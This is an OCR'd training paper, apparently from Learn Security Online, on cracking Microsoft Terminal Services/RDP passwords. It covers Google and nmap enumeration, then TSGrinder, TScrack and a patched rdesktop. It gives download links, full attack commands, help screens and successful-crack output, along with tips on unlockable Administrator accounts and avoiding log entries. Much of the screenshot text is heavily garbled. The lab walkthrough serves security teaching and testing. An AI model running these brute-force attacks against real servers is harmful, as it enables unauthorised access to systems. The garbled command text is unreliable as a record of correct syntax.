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MS Terminal Server Cracking

If you want to do any MS Terminal Server cracking you basically have your choice of
three tools that can do it for you; TSgrinder, TScrack, and a patched version of RDesktop.

TSGrinder is readily available from http://www.hammerofgod.com/download.html.
TSCrack you’ll have to google for as it is not readily available anymore.

Rdesktop v1.41 can be downloaded from http://www.rdesktop.org/ and you’ll need the
patch from foofus.net http://www.foofus.net/jmk/rdesktop.html.

Part 1: MS Terminal Services Overview

Hacking Exposed Windows Server 2003 goes a great overview, | won’t plagiarize it all
here, so check it out for me details and the references section of this paper for some MS
references.

Prior to Terminal Services, Windows did not provide the ability to run code remotely in
the processor space of the server. Another way to put this is there was no way to have an
“interactive” session on the server. There were tools like wsremote or psexec or VNC. If
an attacker got a non administrator level account on a remote machine they could map
shares and copy files but had a difficult time running code on the server. Now, with
Terminal Services, an attacker can log on as a non privileged user and run exploit local
exploit code via the Terminal Services GUI. These attacks used to be fairly limited to
local physical attacks or from users who actually logging into your domain but now if the
server has Terminal Services (2000 server 2003 server) or RDP (Windows XP) running
the attack vector increases.

Terminal Services by default listen on port 3389 (but can be changed by editing the
registry).

If you want to change the listening port, edit this registry key:

\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-
TCP Value : PortNUmber REG_DWORD=3389

To turn on Terminal Server/RDP, edit this registry key (or to turn it on via command
line):

reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d O

With this command you can enable the RDP Service.
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Password Cracking Basics

There are three types of password attacks:

Brute Force: A cryptanalysis technique or other kind of attack method involving an
exhaustive procedure that tries all possibilities, one-by-one.! For example, the program
might follow a sequence like this:

"aaaaaaaa"

"aaaaaaab"

"aaaaaaac" ...

Until the password is found

Dictionary Attack: An attack that tries all of the phrases or words in a dictionary, trying

to crack a password or key. A dictionary attack uses a predefined list of words compared
to a brute force attack that tries all possible combinations.?

Hybrid Attack: A hybrid attack is a mixture of a brute force attack and a dictionary
attack. There are many different ways a hybrid attack can be performed, in it's simplest
form a hybrid attack may simply add a couple of numbers to the end of each dictionary
word tried, this increases the number of tested combinations without having to resort to a
true brute force attack. Cracking software will often use a combination or selection of all
three methods to try and guess your password.>

! Definition from: http://www.onlinetravelsafe.com/choosing_passwords.php?
2 Definition from: http://www.sans.org/resources/glossary.php?
8 Definition from: http://www.onlinetravelsafe.com/choosing_passwords.php?
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Terminal Services Enumeration

You can google for “/TSWeb/default.ntm”

le

@. B |GJ hittp: vy ,google .comysearch?hl=engq="%2FT2Wweb%2Fdefault, hkm b | B A S
s 28|~ | @ Security Advisory: HP Web ... | (& Learn Security Online - Hac.., K:] [Tswebjdefaulthtm - G... 3 - o v [ip Page v
Web |Images Video Mews Maps mores
GO ( Jg MSWeb/default. htm
Web Results 1 - 10 of about 5,410 for /TSWeb/default.htm. (0.44 s¢

Remote Desktop Web Connection
Remate Desktop Web Connection. Important Message: You may need to click the gold bar at
the top of the browser window

ww_southeastmn_edu/T

Remote Desktop Web Connection
blue bar graphic. blue bar graphic. Server:. Size:. Full-screen. 640 by 450, 300 by 600, 1024
hv 768, 1280 by 1024, 1600 by 1200

13.66 54/ TSWEB/De

Using URL Parameters With the New TSWeb
http:/fweb our biz/tsweb/default.htm ?AutoConnect=1&Senver=hydra our biz. Finally, let's set
itto goto Ful\screen on cunnecl We do that with Ihe parameter

dev.remate

Tools for Remote Computing
A zipped edit of the TSWeb default.htm which has been modified. It automatically resizes
the client window to fit the desktop and dlspla\ 5 the encry, ptmn

dev.r

Templates TSWEB default.htm

Templates TSWEB default.htm- microsoft public.win2000.termsenvapps. Visit our forum to
discuss Templates TSWEB default.
ms/thread-1

wonvy_pereview. co.ukiforu

Flgure 1.1: Output of a google search for ITSWeb/default.htm

You can nmap for port 3389
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Figure 1.2: A Nmap scan looking for port 3389 open on the Class C.

5 JHEI:-HII!H! Eji.rldll‘ﬂj dllﬂ'!j not %
Wall.

tcp

1i I.-]. re

[llLEN:'.-:LJ.rH_q poOrEs
0 STRTE
K ‘top F cl =gy
HAC Addre § B 1% {UMWare?

Hmap Finished: 256 [P addre 7 hozts up) scanned in 9.758 seconds

C:sDocuments and Settings~AdministratorsDezsktopsEnumerationsprobets?

Figure 1.3: Results on the Nmap Scan looking for open port 3389.

You can use ProbeTS (http://www.hammerofgod.com/download/probets.zip):

Select Command Prompt ()

= o (1]
HAC Addy B@: z A2 CUHware?

Interesti ports on 192 _168.201.25%4:
FORT ITE SERUICE
2389 d m y
| 17 CUHWare
7 hosts scanned in 9.758 onds

cumentz and Setti dminiztrators ot Enumerationsprobets>probets

thorFhanmerofgod.com
Server Prohe

probet :'.‘ amie TP

probetz 1°

[EndIF]

Get hammered at Hammerof God.com

: and Settin dministratorsDesktop~Enume: ionsprobet robets

Figure 1.4: The output of probeTS.
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Terminal Services Connections

Let’s see what a regular Terminal Services connection looks like.

[&=] 192.168.184.125 - Terminal Services Client

Log On to Windows
Microsoft

Copytight (2 19851999
Microsoft Corporation

= =71 Windows 2000
Advanced Server

Built on NT Technology

User name:!

Password:

(0]4 I Cancel Options =

4 L3 ~
Figure 1.5: the Terminal Services/RDP Client on Windows 2000 Pro to a Windows 2000
Terminal Server

[&| 192.168.184.125 - Terminal Services Client
[a]nl =

TIET I,

W WINNT S ystem32 . cmd.exe

Microsoft Windows 2888 [Uersion 5.860.21951]
. {G> GCopyright 1785-199% Microsoft Corp.

MC:\Documents and SettingssAdministrator.WIN2ZKSRUEPB>vhoami
W2ZKSPBMBR~Administrator

C:“\Documents and Settings“fAdministrator.WINZKSRUSPA>

Start”J a8 5 |J|Wc:\w1NNT\5ystem32\... A 1azam 5
1 L2177
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Figure 1.6: Issuing a command over the Terminal Services Client.

Part 2: TSGrinder

From the TSGrinder website:

“TSGrinder is the first production Terminal Server brute force tool. The main idea here is
that the Administrator account, since it cannot be locked out for local logons, can be
brute forced. Also having an encrypted channel to the TS logon process sure helps to
keep IDS from catching the attempts.

TSGrinder is a "dictionary" based attack tool, but it does have some interesting features
like "1337" conversion, and supports multiple attack windows from a single dictionary
file. It supports multiple password attempts in the same connection, and allows you to
specify how many times to try a username/password combination within a particular
connection.

Also, the problem you describe can be exacerbated in that administrator account can be
brute-forced without creating a log entry, by attempting 5 logons and disconnecting
before Windows disconnects and logs after the sixth failure.”

Let’s see TSGrinder in action. | had to use the Windows XP RDP client on
Windows2000 SP4 to get TSGrinder to work properly. | did not need roboclient.zip that
it mentions on the website.

mmand Prompt

C:“Documents and Settings“Administratorstsgrinder2 B3 >tsgrinder.exe
tsgrinder version 2.83

Uzage :
tsgrinder.exe [options] server

Options:

w dictionary file {(default 'dict’>
*leet’ translation file
domain name
username (default ‘administrator’
banner flag
number of simultaneous threads
debugy level (default %, lower number iz more outputl

Example :
tsgrinder.exe —w words -1 leet —d workgroup —u administrator -h -n 2 18.1.1.1

C:Documents and Settings“Administrator:tsgrinder2 @3>

Figure 2.1: TSGrinder being run with no arguments.
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%2 smclient_214_918 - 192.168.184.125 - Remote Desktop

Log On to Windows
Microsoft

Copyright @ 1988-199%
Micrazaft Corporation

3 451 Windows 200
Advanced Server

Built on NT Technology

Wser name: | adrninistrator

Easstord;

I Hekk

(54 I Cancel St DT, . ophions: &%

Figure 2.2: TSGrinder using a dictionary attack against the administrator account.

mmand Prompt

—u username Cdefault ’'administrator’

=b banner flag

—-n number of simultaneous threads

=D debug level <{default ?. lower number is more outputl

Example :
tsgrinder.exe —w words —1 leet —d workgroup —u administrator -h —n 2 18.1.1.1

C:“Documents and Settings“Administratorstsgrinder2. B3 tsgrinder.exe —w dict —u a
dministrator —d workgroup 192.168.184.125
pazsword apple — failed

password orange — failed

password pear — failed

password monkey — failed

password racoon — failed

password giraffe — failed

pazsword dog — failed

password cat — failed

pazsword balls — failed

password phone — failed

password circle — failed

password square — failed

password pencil — failed

C:xDocuments and Settings~Administratorstsgrinder?. B3>

Figure 2.3: A failed attempt
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icrosoft Windows 2088 [Uersion 5.88.21951
¢C>» Copyright 1985-199? Microsoft Corp.

Thiz will disconnect your Windows session, Your programs will
continue ta run while you are disconnected. You can
reconnect to thiz zezszion later by logging on again.

Ok I Cancel

iﬂStart”] @ 5 | |[Bc winnsystemaz),.. AT 1zi6mm
Figure 2.4: if TSGrinder guesses the password it will log into the terminal services and
immediately disconnect.

ommand Prompt

C:*Documents and Settingsz“Administrator:tsgrinder? _ B3>tsgrinder.exe —w dict —u a
dninistrator —d workgroup 192 _168_.184.125 .
password apple — failed

pazsword orange — failed

password pear — failed

paszsword monkey — failed

password racoon — failed

paszssword giraffe — failed

password dog — failed

password cat — failed

password balls — failed

password phone — failed

password circle — failed

paszsword sguare — failed

password supersecret — successt

C:“Documents and Settings“Administratorstsgrinder2.B3>_

Figure 2.5: A successful attempt with TSGrinder.
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INNT' System32'.cd.exe

Microsoft Windows 2088 [Uersion 5.88.21951]
¢G> Copyright 1985-19992 Microsoft Corp.

C:\Documents ” Disconnect Windows session

W2KSPBMBR~AA =t A b ; : :
I/\c:) This will dizconnect your Windows session. Your programs waill

PllC: \Documents continue to wn while pou are disconnected. v'ou can

reconnect to this zezsion later by logging on again.

]

(SR 1218

|Type: File Size: 105 bytes IIDS bytes !@‘ My Computer

Hstart || 761 @ 53 || tsorindier2.09 | @command .|| smcdent 0., [Fsmelient .. | (BB 1zuem
YMware G5% Server 3.2.0 & &]
Figure 2.6: TSGrinder supports 2 threads. Here you can see two threads running the
attack.

mmand Prompt

dministrator —d workgroup —n 2 192_168_184.125
password orange — failed
pazsword pear — failed
password apple — failed
pazsword monkey — failed
pazsword racoon — failed

giraffe — Failed

dog — failed

cat — failed

balls - failed

phone — failed

square — failed
password circle — failed
password supersecret — success!?
password pencil — failed

C:Documents and SettingssAdministratorstsgrinder? BIxtsgrinder.exe —w dict —n al

C:sDocuments and SettingssAdministratorstsgrinder? . B3>

Figure 2.7: A successful attempt with TSGrinder that used 2 threads to run the attack.
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Part 3: TScrack

From the TScrack documentation:

“The Windows Terminal Services facility offers graphical desktop sessions to remote
clients. Terminal Services enables users to work in a windows session that exists on the
server. The client functionality is basically reduced to the functionality of a terminal, all it
does is display the session screen, and collect user input.

TScrack applies Al technology (Artificial Neural Networks) to scrape the screen contents
of the graphical logon, in order to enable a simple dictionary based cracking algorithm to
perform efficiently against the graphically presented logon dialogs and message boxes.

This is very similar to the technology used i.e. in Optical Character Recognition (OCR),
Face- and Image recognition in general.

TScrack was written for two purposes:

a) To provide a tool to assess password security of MS RDP servers
b) As proof of concept code, to point out that graphical logons are by no means
secure from automated cracking / password guessing tools

mmand Prompt

C:sDocuments and Settings“Administratorstscrack?.l>tscrack
termninal services cracker (tscrack.exe)> wv2.1.77 2883-22-83 87:27 PM UIC

(¢} 2083 by gridrun [THC] - All rights reserved — http:~rrsoftlabs.spacehitch.com

Uzsage help:
tzcrack [switchl [switch [argll ... <{Hosts/IFL:portl>

Parameters:
<Host/IFL:portl> : DHS name or IP address of target server, optional port
Switches:

—h : Print usage help and exit

- = Print version info and exit

—z = Print chipher strenght info and exit

—h : Enahle failed password heep

—t = Use two simultaneous connections [EXPERIMENTALI

—M : Prevent System Log entries on targeted server

=l = Uninstall tscrack and remove components

—B : Bruteforce mode

—f <number> :
—w {wordlist)> =
-m <numbher’> :
—x <number’> :
—g <charset?> :
—-F {delay> :

-1 {user> :

- {domain}> :
—p <password? :

Wordlist entry to start cracking with

Wordlist to use; tscrack tries blank passes if omitted
Minimal bruteforce password lenght

MHaximal bruteforce password lenght

Additional bhruteforce custom chars [EXPERIMENIAL]
Sampling Fregquency <Delay hetween samples in ms?
Account name to use,. defaults to Administrator

Specify domain to attempt logon to

Use <password> to logon instead of wordlistsbhlank pass

C:*Documents and Settings“Administratorstscrack2. 1>

Figure 3.1: TScrack being run with no arguments.
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The system could rct log you on.
Make sure your Lser name and domain

B are correck, then type your password
again. Letters in passwords must be
Eypeed Lising the cormedt case,

fFrom Fi
ministratorl

v el
domain to at tempt

ingz“Admini ator-Deskt
ict =D I

Initializin

Loading dictions iet), ’ xgl {15 From File. OK.
Initiating £ CAdminiztrator@1l72.168.28
RS :.P-ﬂili:-il..ll:.rl‘l:t Cadministrator)? gave access (SUGEIRETEESSTRRREECH
[ELAPSED: {12) zeconds; 75 attemptz ~ min

peunents and Settin:

Figure 3.3: TScrack successfully cracking the password
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tzcrack
All right

p
[switeh] [switch [argl] ... {HostsIPIL:portc]>

DHE name or [P addeess of tavget server. optional port

amitt
lank pa

scracklit

Figure 3. 4: TScack also does multithreading cracking, use the —t option for 2
connections

| eBsk -~ (3 Qisearch 54 Fokders
.-ﬂlddml_'ltscrack

_| Logon Message [ x|

: £ . == g ' The system could not log youon,
? by geides | A LGS 1 Maks sure your Ussr name and domain

are correct, then bype your password
jitchl sitch r.17'1_41! 8 & L W‘Uﬁe&mﬁétamwm

DHE name opF

[ﬂ.drr-nustuatnr

password: ||

fLso

Flgure 3.5: TScrack with two simultaneous connectlons running
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Select Command Prompt (2)

Parameters :
DHE name or 1P address of target server,. optional port

ave access to Administratorfl?2.168.2681.122

C:nDocumentz and Settingzs“Administrators

Figure 3.6: TScrack successfully cracking the password

TScrack was updated to v2.1 to include brute force attacks (something TSGrinder does
not do).

C:N\Documents and Settlngg\ﬂdmlnlgtlatm\Degktop\tacxack2 i1>tscrack -B x 6
13

riz -t 192.168.8.
terminal services clackel {tscrack.exe> v2.1.77 2083-22-83 87:29 PM UTC .
(c) 20883 by grideun [TNCI — All rights peserved — http://softlabs.spacehitc | Sopraht @ 1885-2003 Misrosalt Corparation - = |

Checklng server connectivity. 0K
iti 0K

L ] hi
rce cracking mode against (chris@192.168.8.113>... LIS Ic s,

Passwiord: l |

logonto:  [MOWARE

Ok I Cancel

. User name! | chiris
Passwiord: l |
‘ logonto:  [MOWARE

Ok [t |
4 .4 i anicel

-

-

**Note 1: | attempted to use the —-N (no logging option). Windows Server 2003 still
logged every failed attempt to log on (which is good).

https://www.learnsecurityonline.com/ Learn Security Online, Inc. ©




Learn Security Online, Inc. © __ | https://www.learnsecurityonline.com/

Learn Security Online

Documents ancﬂl i;gtingg dministratorsDesktopstscrack2.1>tscrack -B —x 6

ris -t 192, 5
terminal services cracker <(tscrack.exe> v2.1.77 20@3-22-B3 @7:27 PM UTC
(c> 2083 by grideun [THC] — All rights reserved — http:/ssoftlabs.spacebitc | Comnaht S 18AS-2003 Mistasa Camaraticn

Checking server connectivity... OK
Initializing AI... OK . . User name: l chris
Initiating bruteforce cracking mode agail =

Password: | |

G
and Settings“Administrator‘Desktopstscrack?.1>tscrack -B -x & Lcell E

is .168.0.113
#x% nolog mode ON

terminal services cracker <(tscrack.exe> v2.1.77 20@3-22-B3 @7:29 PH UTC
(c» 2003 by gridrun [THC] - All rights reserved — http:~/~/softlabs.spacebitc

Checking server connectivity... OK
Initializing AI. ' Microsaft
Initiating bruteforce cracking mode against {chris@192.168.0.113>. ' 'w‘nd

Copyright @ 18852003 Micrasalt Corporafion

User name: | chris

Password: I |

/._

g [ e

Eile  Action  Wiew Help
NI e properties 21

S{j] Event Viewer (Local) Event I

4| application

Security Diate: Source:  Security

4| system Tirme: 11:35:19 &k Category:  Logon/Logoff
Direckory Service Tope: Faiure fud  Ewent|D: 529

D3 Server User: MNT AUTHORITYSSYSTEM

Pl

il

14| File Replication Servics Camputer: WMWINSERVO3DC

Description:

Logon Failure: -
Reasan: Unknown user name or bad pasaward b
User Mame: chiiz
[Dromair: HOwWARE
Logon Type: 10
Logon Process: Userd2
Authentication Package: Megatiate

Workstation Name: YhwINSERVOZDC
Caller User Name:  "WMwINSERYO3DCE
Caller Domaine  NOW/ARE =l

=1
=

Data: €% Butes £ Wfords

I
Figure 3.9: Even with —N enabled Windows Server 2003 logged the attempts. | did not
test every configuration on every type of OS, I just noticed it was logging the attempt and
shared the info.

**Note 2: | also had to drastically change the default password policy to put an easy to
crack password. | chose a password of “chrisg” as the password | wanted to brute force.
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@ Security Settings Policy  # | Policy Setting |
F—"@ Account Policies Enforce password histary 24 passwords remembered
" Fassword Policy @Maximum password age 42 days
" Account Lockout Palicy Minimum password age 1 days
" Kerbiai‘os Ry E‘]M' imum password length 7 characters
]g Loeal Roliges sord must meet complexity requirements  Enabled
- =gl Event Log :

o8 Restricked Groups Store passwords using reversible encryption Disabled

o L8 Svstem Services

o8 Registry

+-_& File System

o1 wireless Metwork (IEEE 802,11) P

E
E
E
£
E
E
E
[]---C:l Public Key Policies

Figure 3.10: Here is the default password policy for Windows Server 2003

‘im Default Domain [untrullﬂ-!‘;t:t:qnﬂ s

File Action Wiew Help

- | BB 2

@ Security Settings Policy  / | Policy Setting
E‘@ Accourt Policies B¥]Enforce password history Mot Defined

. [ Password Policy ] Maximum passward age 30 days

EH-Ee Account LUCI_iC'Ut Pallcy 8] Minimurn passward age 0 days

& Kerbiar_'c-s Prlcy Minimum password length 0 characters
% Local Foldes @:{]F‘assword must meet complexity requirements  Disabled
[#-=g1 Event Log

@ R e Store passwords using reversible encryption Mok Defined

{3 Swskem Services

-8 Registry

{E File: System

1" Wireless Metwork (IEEE 802,113 P
[:| Public key Policies

(2] Software Restriction Policies
g IP Security Palicies on Active Direr

Figure 3.11: What | changed the password policy to, to allow “chrisg” as a password
**Note 3: | had to run TScrack on windows 2000 machine; it wasn’t working properly on
Windows XP SP2. Also, If you are getting a MSRDP.OCX error, then uninstall TScrack
using the “-U” option then reinstalling by issuing TScrack.exe —h.

Part 4: Rdekstop & BruteForcing RDP with Rdesktop patch

Download rdesktop version 1.41 from the website:

http://www.rdesktop.org/
http://prdownloads.sourceforge.net/rdesktop/rdesktop-1.4.1.tar.gz?download

Download the rdp-bruteforce patch from foofus.net:

http://www.foofus.net/jmk/rdesktop.html
http://www.foofus.net/imk/tools/rdp-brute-force-r422.diff
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Paste the patch into the source directory and apply the patch

SegFault:/Users/chrisgates/Desktop root# cd rdesktop-1.4.1
SegFault:/Users/chrisgates/Desktop/rdesktop-1.4.1 root# patch -pl -i
rdp-brute-force-r422_diff

patching file orders.c

patching file orders.h

patching file rdesktop.c

patching file rdesktop.h

patching file rdp.c

patching file secure.c

patching file xkeymap.c

compile and install rdesktop:
./configure

make

sudo make install

Start X-Windows/X-Darwin/X11(l used X-Darwin installed using fink using Mac OS X
Tiger). Shouldn’t be an issue if you are using an linux flavor with a GUI.

Now start Rdesktop with your passlist and user or userlist:

SegFault:~/Desktop/rdesktop-1.4.1 chrisgates$ rdesktop -u administrator
-p pass.txt 192.168.0.105

**you'll need to run this from X-Darwin/X-Windows/X-11, if you run it from the
command line it will say something like:

ERROR: Failed to open display:

If everything is working right you'll see it opening the Rdesktop trying to log in and then
exiting. Check your command line output to see if you were able to guess the password.
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pt

Usage: rdesktop [options] server[:port]
-u} user name
-di domain
-s} shell
-ct working directaory
-p: password (- to prompt,filename for dictionary)
-ni client hostname
-ki keyboard layout on server (en-us, de, sv. etc.)
-q¢ desktop geometry (WH)
-f1 full-screen mode
-b: force bitmap updates
-L: local codepage
-B: use BackingStore of ¥-server (if available)
-z dizable encryption (French TS)
-E: dizable encryption from client to server
-m} do hot send motion events
-C: use private colour map
-0: hide window manager decorationsz
—k: keep window manager key bindings
-5 caption button size (single application mode)
-T1 window title
-N¢ enable numlock syncronization
-H: embed into another window with a given id.
-a1 connection colour depth
-z} enable rdp compression
-x3 RIPS experience (m[odem 28,8], blroadband]l. 1[an] or hex nr.)
-F: use persistent bitmap caching
-+ enable specified device redirection (this flag can be repeated)
'—r comport ;COML=/dev ttyS0's enable serial redirection of /Adew/ttyS0 t
o COML

ar COML=¢devtty50, COM2=/dew ttySl
disk:floppy=/mnt/floppy' s enable redirection of Amnt/floppy to 'flo

ek

ppy' share
aor 'Floppy=/mnt/f loppy..cdrom=/mnt.Acdrom '

clientname=<{client name>': Set the client name displayed

for redirected disks

'=r lptportiLPTl=/dev/1p0': enable parallel redirection of Adevdlp0 to

o}

i

LPT1
ar LPT1=/dews1p0,LPT2=/den/ 1pl
printerimydeskjet's enable printer redirection
ar mydesk jet="HP LazerJet IIIP" to enter server driver as well
-r gound;[local |off Iremote]; enable sound redirection
remote would leawe sound on server
-0¢ attach to console
-41 use RIP wersion 4
-6: uze RDP version 5 (default)
-1: logfile

Figure 4.1: Running Rdesktop with no parafneters gives you the help menu

)

2 (=

{}) (=0(99% Sun 21

¢7 XDarwin Edit Window Help ]

§;§Fau1t;~ eh;{ggaééég.ﬁ“ o AR A S SN 1

| SegFault:™ chrizgates$ cd Desktop/rdesktop-1,4,1
M SeqFault:”/Desktop/rdesktop-1,4,1 chrisgates$ rdesktop -u noone -p pass,txt 192,
'! 168,0, 1050

=1

Figure 4.2: Issuing the command line parameters to start Rdestop in *nix

https://www.learnsecurityonline.com/ Learn Security Online, Inc. ©




Learn Security Online, Inc. © _ https://www.learnsecurityonline.com/

earn Securify Online

7 XDarwin Edit Window Help Q 2 =)

) (+0(99%) Sun 2.

SeqFaultt™ chrisgatess []

egFault:” chrisgates$ cd Desktop/rdesktop-1.4,1
egFault:”/Tesktop/rdesktop-1,4,1 chrisgates$ rdesktop -u noone -p pass.txt 192,

Ay \Nindows™®

. Professional

1

Logon Message

' The system could not lag you on. Make sure your User name and domain are correct,
C ey

Figure 4.3: Rdestop brute forcing the accounts

The following output was against an XP Pro SP2 host. With XP if the user is currently
logged in, they will be forced to log off if you connect to the machine over RDP.

SegFault:~/Desktop/rdesktop-1.4.1 chrisgates$ rdesktop -u noone -p
pass.txt 192.168.0.105

Starting dictionary attack against server 192.168.0.105
Retrieved connection termination packet.
Account credentials are NOT valid.
Retrieved connection termination packet.
[failure] User '‘noone' Password "test"
Retrieved connection termination packet.
Account credentials are NOT valid.
Retrieved connection termination packet.
-—=SNIP---
[failure] User 'noone'" Password '‘admin™
Retrieved connection termination packet.
Account credentials are NOT valid.
Retrieved connection termination packet.
[failure] User '‘noone’™ Password "administrator™
Valid credentials, however, another user is currently logged on.
[success] User '‘noone' Password ''noone"
SegFault:~/Desktop/rdesktop-1.4.1 chrisgates$
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SagFwalt: " /roesktop-1.4,1 chrisgatass ]

SegFault:™ chrisgatess [|

[failure] User "noone” Password “orange”
Ratrigved connection ternination packet,
Hecount. credentials are BOT walid,

Retrisved connsction termiration packet,
[Failure] User “roone™ Passwerd “Barnana™
Ratrisved connection termination packet,
Recount cradentials are HOT walid,

Fatricved connection termination packet.
[Fatlure] User “rocne™ Passwsrd “spple”
Retrieved connection termination packet,
Aecount cradentials are 0T walid,

Retrieved connection termination packet,
[Fatlure] Usar “rocne”™ Pessword “sdsings”
Retrieved connection termination packet,
Account credentialz are NOT walid,

Retrigved connection terminstion packet,
[failure] User “roone™ Pagsword “sdministrator”
Walid eredentiale, however, another user iz currently logged on,
[smcess] User “nocne™ Password “nocne”
SaeFault s rdeskbep-1,4,1 cheisgaress []

Figure 4.4: The command line output of the successful attack.

Let’s see Rdesktop against a Windowg Server 2003.

chrizgatess []
SeqFault:”/rdesktop-1,4,1 chrisgates$ rdesktop -u chriz -p pass,txt 192,168,0,11
3

Starting dictionary attack against server 192,168,0,113

Retrieved connection termination packet,
Hrcount edentials. ace ML wali

[¢] rdesktop - 192.168.0.113

AW \indows Server 2003

L Ente se Edition

I lerr mama:

Password:

logonto:  [MOWARE =l

0K I Cancel Shut Dowm, | Options <<

Figre 4.5: Rdesktop against Windows Server 2003 against the “chris” accunt.
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Retrieved connection termination pack
Account credentials are MOT walid,
Retrieved connection termination packes,
Retrieved connection termination packes,
[failure] User "chris" Password "test"
Retrieved connection termination packe:,
Account credentials are MOT walid.
Retrieved connection termination packes,
Retrieved connection termination packes,
[failure] User "chrizs" Password "admin'
Retrieved connection termination packes,
Account. credentials are MOT walid.
Retrieved connection termination packe:,
Retrieved connection termination packe:,
[failure] User "chris" Password "password”
Retrieved connection termination packe:,
Account credentials are NOT walid.
Retrieved connection termination packe:,
Retrieved connection termination packe:,
[failure] User "chris" Password "orange"
Retrieved connection termination packe:,
Account credentials are NOT walid.
Retrieved connection termination packe:,
Retrieved connection termination packe:,
[failure] Uszer "chris" Password "bannana"
Retrieved connection termination packe:,
Account credentials are NOT walid.
Retrieved connection termination packes,
Retrieved connection termination packes,
[failure] User "chriz" Password "apple’
Retrieved connection termination packe:,
Account credentials are MOT walid,
Retrieved connection termination packe:,
Retrieved connection termination packe:,
[failure] User "chris" Password "adminpw"
Retrieved connection termination packes,
fccount credentials are MOT walid,
Retrieved connection termination packes,
Retrieved connection termination packes,
[failure] User "chrizs" Password "administrator"
Retrieved connection termination packes,
Account. credentials are MOT walid.
Retrieved connection termination packes,
Retrieved connection termination packe:,
[failure] User "chriz" Password "noone’
Retrieved connection termination packe:,
Retrieved connection termination packe:,
Retrieved connection termination pack
= d "ct
SegFault:”/rdesktop-1,4,1 chrisgates$ []

Figure 4.6: Rdesktop successfully cracking the password with a dictionary attack.

Terminal Services References:
http://www.microsoft.com/windowsserver2003/techinfo/overview/termserv.mspx

TSGrinder References:

TSGrinder: http://www.hammerofgod.com/download/tsgrinder-2.03.zip
www.blackhat.com/presentations/bh-asia-03/bh-asia-03-mullen.pdf
http://www.msterminalservices.org/articles/Brute-Force-Hacking-Terminal-Server-
Environments.html

Hacking Exposed Windows Server 2003 CH 12.

TSCrack References:

http://web.mac.com/opticrealm/iWeb/asurobot/My Cyber Attack Papers/My Cyber
Attack Papers_files/remote dictionary tscrack Nov_6_2005.pdf

Hacking Exposed Windows Server 2003 CH 12.
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Rdesktop References:

Rdesktop: http://www.rdesktop.org/ &
http://prdownloads.sourceforge.net/rdesktop/rdesktop-1.4.1.tar.gz?download
Rdesktop patch by JMK of foofus: http://www.foofus.net/jmk/rdesktop.html &
http://www.foofus.net/jmk/tools/rdp-brute-force-r422.diff

Chris Gates, CISSP, C|EH, CPTS is the operations manager for

www.L earnSecurityOnline.com and consultant for Aura Software Security. He also
serves as a student mentor and course developer for LSO. Chris has over six years of
experience with telecommunications and network security serving in various jobs in the
U.S. Military. His computer security interests are in Windows and Web Application
security. In addition to the above certifications, Chris also holds his CompTIA A+,
Network+, Security+ Certifications and is a Microsoft Certified Professional (MCP) for
Server 2003.

https://www.learnsecurityonline.com/ Learn Security Online, Inc. ©



http://www.rdesktop.org/
http://prdownloads.sourceforge.net/rdesktop/rdesktop-1.4.1.tar.gz?download
http://www.foofus.net/jmk/rdesktop.html
http://www.foofus.net/jmk/tools/rdp-brute-force-r422.diff
http://www.learnsecurityonline.com/
http://www.aurasoftwaresecurity.co.nz/

